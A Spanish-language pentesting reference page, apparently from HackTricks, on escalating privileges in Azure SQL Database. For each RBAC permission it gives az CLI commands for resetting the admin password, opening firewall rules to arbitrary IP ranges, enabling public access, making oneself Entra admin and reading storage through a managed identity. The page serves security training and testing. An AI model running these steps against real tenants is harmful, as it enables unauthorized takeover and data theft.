5.7 KiB
Az - SQL Database Privesc
{{#include ../../../banners/hacktricks-training.md}}
SQL Database Privesc
Para más información sobre SQL Database, consulta:
{{#ref}} ../az-services/az-sql.md {{#endref}}
Microsoft.Sql/servers/read && Microsoft.Sql/servers/write
Con estos permisos, un usuario puede realizar escalación de privilegios al actualizar o crear servidores SQL de Azure y modificar configuraciones críticas, incluyendo credenciales administrativas. Este permiso permite al usuario actualizar propiedades del servidor, incluyendo la contraseña del administrador del servidor SQL, lo que habilita el acceso no autorizado o control sobre el servidor. También pueden crear nuevos servidores, lo que potencialmente introduce infraestructura oculta con fines maliciosos. Esto se vuelve particularmente crítico en entornos donde "Microsoft Entra Authentication Only" está deshabilitado, ya que pueden explotar la autenticación basada en SQL para obtener acceso sin restricciones.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
Además, con los permisos puedes habilitar la identidad asignada, operar con la identidad administrada adjunta al servidor. Por ejemplo, aquí con una identidad administrada que puede acceder a Azure Storage:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Un atacante puede manipular las reglas del firewall en los servidores de Azure SQL para permitir el acceso no autorizado. Esto puede ser explotado para abrir el servidor a direcciones IP específicas o rangos completos de IP, incluidas IPs públicas, lo que permite el acceso a actores maliciosos. Esta actividad de post-explotación puede ser utilizada para eludir los controles de seguridad de red existentes, establecer persistencia o facilitar el movimiento lateral dentro del entorno al exponer recursos sensibles.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
Además, el permiso Microsoft.Sql/servers/outboundFirewallRules/delete te permite eliminar una regla de firewall.
NOTA: Es necesario tener habilitado el acceso público.
Microsoft.Sql/servers/ipv6FirewallRules/write
Con este permiso, puedes crear, modificar o eliminar reglas de firewall IPv6 en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado eludir las configuraciones de seguridad de red existentes y obtener acceso no autorizado al servidor. Al agregar una regla que permite el tráfico desde cualquier dirección IPv6, el atacante podría abrir el servidor al acceso externo.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
Además, el permiso Microsoft.Sql/servers/ipv6FirewallRules/delete te permite eliminar una regla de firewall.
NOTA: Es necesario tener habilitado el acceso público.
Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read
Con estos permisos puedes realizar privesc en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read
Con estos permisos, puedes configurar y hacer cumplir "Microsoft Entra Authentication Only" en un Azure SQL Server, lo que podría facilitar la escalada de privilegios en ciertos escenarios. Un atacante o un usuario autorizado con estos permisos puede habilitar o deshabilitar la autenticación solo de Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
{{#include ../../../banners/hacktricks-training.md}}